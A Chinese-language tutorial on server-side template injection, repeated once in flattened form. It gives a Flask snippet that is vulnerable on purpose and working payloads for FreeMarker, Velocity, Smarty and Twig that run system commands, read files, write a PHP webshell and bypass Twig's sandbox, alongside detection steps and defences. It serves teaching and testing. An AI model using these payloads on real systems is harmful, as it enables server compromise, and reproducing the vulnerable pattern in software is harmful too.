SSTI多种模版注入
字数 979 2025-08-15 21:33:39

服务器端模板注入(SSTI)全面指南

1. SSTI基础概念

服务器端模板注入(SSTI)是一种安全漏洞,当用户的输入数据未经合理处理直接插入程序段中成为程序的一部分时,就可能改变程序的执行逻辑。

漏洞示例代码

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/test')
def test():
    template = '''<div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>''' % (request.url)
    return render_template_string(template)

2. 模板引擎基础

2.1 模板引擎作用

  • 实现用户界面与业务数据分离
  • 提升开发效率
  • 便于代码重用

2.2 模板渲染类型

后端渲染(SSR)

特点:

  • 服务器计算后直接返回HTML字符串
  • 浏览器只进行HTML解析

优势:

  • 首屏性能好
  • SEO友好
  • 不依赖浏览器兼容性

弊端:

  • 前后端耦合
  • 开发效率低
  • 网络传输体积大

前端渲染(SPA)

特点:

  • 浏览器组织数据形成最终HTML
  • 通过Ajax请求数据后局部刷新

优势:

  • 局部刷新
  • 懒加载
  • 富交互效果
  • 节约服务器成本

弊端:

  • 增加HTTP请求
  • SEO不友好
  • 需要JS运行生成界面

同构渲染

特点:

  • 前后端共用JS
  • 首次渲染使用Node.js直出HTML

优势:

  • 兼顾SEO和首屏性能
  • 代码复用

问题:

  • 实施难度大
  • 性能开销
  • 前后端渲染不一致风险

3. 常见模板引擎漏洞利用

3.1 FreeMarker (Java)

利用方式:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }

3.2 Velocity (Java)

时间延迟检测:

$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()

命令执行获取输出:

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

3.3 Smarty (PHP)

文件读取:

{self::getStreamVariable("file:///proc/self/loginuid")}

文件写入:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

3.4 Twig (PHP)

标准模式利用:

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

沙盒绕过:

{{_self.displayBlock("id", [], [], "\\x5f\\x5f\\x63\\x6f\\x6e\\x73\\x74\\x72\\x75\\x63\\x74\\x5f\\x5f")}}

4. 漏洞检测与利用方法

4.1 检测方法

  1. 识别模板引擎类型
  2. 尝试基本注入语法(如{{7*7}})
  3. 观察错误信息
  4. 使用时间延迟检测

4.2 利用步骤

  1. 识别模板引擎
  2. 查找文档或已知利用方式
  3. 尝试获取对象引用
  4. 寻找可执行代码的方法
  5. 执行系统命令或文件操作

4.3 变量名爆破

当内置对象不明确时,可以通过爆破变量名来发现可用对象:

  • 使用常见变量名列表
  • 分析框架默认变量
  • 参考GitHub上的项目变量名

5. 防御措施

  1. 避免用户控制模板内容:禁止用户提供或修改模板
  2. 沙盒环境:在受限环境中执行模板
  3. 输入过滤:严格验证用户输入
  4. 静态模板:尽可能使用静态模板
  5. 最小权限:模板引擎运行在最低权限账户下
  6. 安全配置:禁用危险函数和方法

6. 参考资源

  1. PortSwigger SSTI研究
  2. FreeMarker官方文档
  3. Velocity官方手册
  4. Smarty安全文档
  5. Twig安全文档
服务器端模板注入(SSTI)全面指南 1. SSTI基础概念 服务器端模板注入(SSTI)是一种安全漏洞,当用户的输入数据未经合理处理直接插入程序段中成为程序的一部分时,就可能改变程序的执行逻辑。 漏洞示例代码 2. 模板引擎基础 2.1 模板引擎作用 实现用户界面与业务数据分离 提升开发效率 便于代码重用 2.2 模板渲染类型 后端渲染(SSR) 特点: 服务器计算后直接返回HTML字符串 浏览器只进行HTML解析 优势: 首屏性能好 SEO友好 不依赖浏览器兼容性 弊端: 前后端耦合 开发效率低 网络传输体积大 前端渲染(SPA) 特点: 浏览器组织数据形成最终HTML 通过Ajax请求数据后局部刷新 优势: 局部刷新 懒加载 富交互效果 节约服务器成本 弊端: 增加HTTP请求 SEO不友好 需要JS运行生成界面 同构渲染 特点: 前后端共用JS 首次渲染使用Node.js直出HTML 优势: 兼顾SEO和首屏性能 代码复用 问题: 实施难度大 性能开销 前后端渲染不一致风险 3. 常见模板引擎漏洞利用 3.1 FreeMarker (Java) 利用方式: 3.2 Velocity (Java) 时间延迟检测: 命令执行获取输出: 3.3 Smarty (PHP) 文件读取: 文件写入: 3.4 Twig (PHP) 标准模式利用: 沙盒绕过: 4. 漏洞检测与利用方法 4.1 检测方法 识别模板引擎类型 尝试基本注入语法(如 {{7*7}} ) 观察错误信息 使用时间延迟检测 4.2 利用步骤 识别模板引擎 查找文档或已知利用方式 尝试获取对象引用 寻找可执行代码的方法 执行系统命令或文件操作 4.3 变量名爆破 当内置对象不明确时,可以通过爆破变量名来发现可用对象: 使用常见变量名列表 分析框架默认变量 参考GitHub上的项目变量名 5. 防御措施 避免用户控制模板内容 :禁止用户提供或修改模板 沙盒环境 :在受限环境中执行模板 输入过滤 :严格验证用户输入 静态模板 :尽可能使用静态模板 最小权限 :模板引擎运行在最低权限账户下 安全配置 :禁用危险函数和方法 6. 参考资源 PortSwigger SSTI研究 FreeMarker官方文档 Velocity官方手册 Smarty安全文档 Twig安全文档